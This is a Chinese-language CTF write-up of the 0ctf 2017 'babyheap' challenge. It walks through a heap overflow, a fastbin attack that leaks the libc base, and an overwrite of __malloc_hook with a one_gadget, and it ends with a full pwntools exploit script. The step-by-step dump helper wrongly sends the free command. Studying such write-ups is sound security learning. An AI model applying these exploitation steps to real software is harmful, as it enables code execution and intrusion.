参考wp:https://blog.csdn.net/weixin_42151611/article/details/98119213?fps=1&locationNum=2
===== Baby Heap in 2017 =====
1. Allocate
Command: 1
Size: 300
Allocate Index 0
2. Fill
Command: 2
Index: 0
Size: 400
Content:
3. Free
Command: 3
Index: 3
4. Dump
Command: 4
Index: 0
5. Exit
struct heap{
int ifExit;
int size;
char *str;
}
这里可以看见没有检查v4跟结构体里的size大小,并且是按照v4来输入的,这样就可以覆盖到下一块
都设置为了0,这样就不能Use_after_free
先写好必须的四个功能
def allocate(size):
sh.sendlineafter("Command:","1")
sh.sendlineafter("Size:",str(size))
sleep(0.1)
def fill(Index,payload):
sh.sendlineafter("Command:","2")
sh.sendlineafter("Index:",str(Index))
sh.sendlineafter("Size:",str(len(payload)))
sh.sendlineafter("Content:",str(payload))
sleep(0.1)
def free(Index):
sh.sendlineafter("Command:","3")
sh.sendlineafter("Index:",str(Index))
sleep(0.1)
def dump(Index):
sh.sendlineafter("Command:","3")
sh.sendlineafter("Index:",str(Index))
sleep(0.1)
然后,先
add(0x10) #0 0x00
add(0x10) #1 0x20
add(0x10) #2 0x40
add(0x80) #3 0x60
gdb.attach(sh)
heap
free(2) #0x40
free(1) #0x20
然后,我们通过
payload = 'a'*0x10+p64(0)+p64(0x21)+p8(0x60)
fill(0,payload) #0x00
在这里我们可以看见,由于没有限制输入长度,我们可以写入fd 8个a,bk 8个a, fd_nextsize p64(0),bk_nextsize p64(0x21),然后写入到下一块 我们本来已经free掉了的 0x20
中的 fd中,使他的指向 0x60
的bin,这样我们看fastbins时就只能看见0x20
和0x60
了
allocate(0x10) #1 0x20
这样之后,我们的目的就达成了,把一块没有free的空间放入了fastbins中
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x21)
fill(1,payload)
紧接着,我们把0x40
的bk_nextsize 设为0x21,这样可以修改0x60
的bin size为0x21(0x10 + 0x11),绕过fastbin在分配内存的时候的检测
BK_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适chunk 时挨个遍历。
再次allocate(0x10) #2 0x60
就会把之前的0x80的块分配出来
然后
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x91)
fill(1,payload) #1 0x20 还原#3的bin的size
allocate(0x80) #4 #为了让#3的bin不再挨着top chunk
然后我们将0x60 #3
free掉之后
这样fd 和bk 都指向main_arena+88处
==然后为啥dump2呢-。-==
io.recvuntil('Content: \n')
main_arena = u64(io.recv(6).ljust(8,'\x00'))-88
log.success('main arena: '+hex(main_arena))
libc_base = main_arena - 0x3c4b20
log.success('libc base: '+hex(libc_base))
0x3c4b20 可以在对应的libc中,搜索malloc_trim函数,可以在下图的地方看见
也可以使用main_arena_offset main_arena libcaddr
获取
Arbitrary Alloc的例行公事,最终修改malloc_hook的内容为one_gadget
one_gadget = libc_base + 0x4526a
allocate(0x60) #3
free(3)
fake_chunk_addr = main_arena - 0x33
payload = p64(fake_chunk_addr)
fill(2,payload)
0x33
p &main_arena
$1 = (struct malloc_state *) 0x7f5081821b20 <main_arena>
x/10gx main_arena_addr-0x10
0x7f5081821b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f5081821b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f5081821b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f5081821b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f5081821b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
find_fake_fast __malloc_hook_addr 0x70
FAKE CHUNKS 0x7f5081821aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA { prev_size = 5801060741742067712, size = 127, fd = 0x50814e2e20000000, bk = 0x50814e2a0000007f, fd_nextsize = 0x7f, bk_nextsize = 0x0 }
计算偏移
p/x main_arena_addr - fake_chunks_addr
allocate(0x60) #3
allocate(0x60) #5
payload = 'a'*0x13+p64(one_gadget)
fill(5,payload)
allocate(0x10)
sh.interactive()
完整exp
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
sh = process('./babyheap_0ctf_2017')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def allocate(size):
sh.recvuntil('Command: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))
def fill(idx,content):
sh.recvuntil('Command: ')
sh.sendline('2')
sh.recvuntil('Index: ')
sh.sendline(str(idx))
sh.recvuntil('Size: ')
sh.sendline(str(len(content)))
sh.recvuntil('Content: ')
sh.sendline(content)
def free(idx):
sh.recvuntil('Command: ')
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(idx))
def dump(idx):
sh.recvuntil('Command: ')
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(idx))
allocate(0x10) #0 0x00
allocate(0x10) #1 0x20
allocate(0x10) #2 0x40
allocate(0x80) #3 0x60
free(2)
free(1)
payload = 'a'*0x10+p64(0)+p64(0x21)+p8(0x60) fill(0,payload)
allocate(0x10) #1
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x21)
fill(1,payload)
allocate(0x10) #2
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x91)
fill(1,payload)
allocate(0x80) #4
free(3)
dump(2)
sh.recvuntil('Content: \n')
main_arena = u64(sh.recv(6).ljust(8,'\x00'))-88
log.success('main arena: '+hex(main_arena))
libc_base = main_arena - 0x3c4b20
log.success('libc base: '+hex(libc_base))
one_gadget = libc_base + 0x4526a # 0x4526a 0xf02a4 0xf1147 0x45216
allocate(0x60) #3
free(3)
fake_chunk_addr = main_arena - 0x33
payload = p64(fake_chunk_addr)
fill(2,payload)
allocate(0x60) #3
allocate(0x60) #5
payload = 'a'*0x13+p64(one_gadget)
fill(5,payload)
allocate(0x10)
sh.interactive()
「真诚赞赏,手留余香」
真诚赞赏,手留余香
使用微信扫描二维码完成支付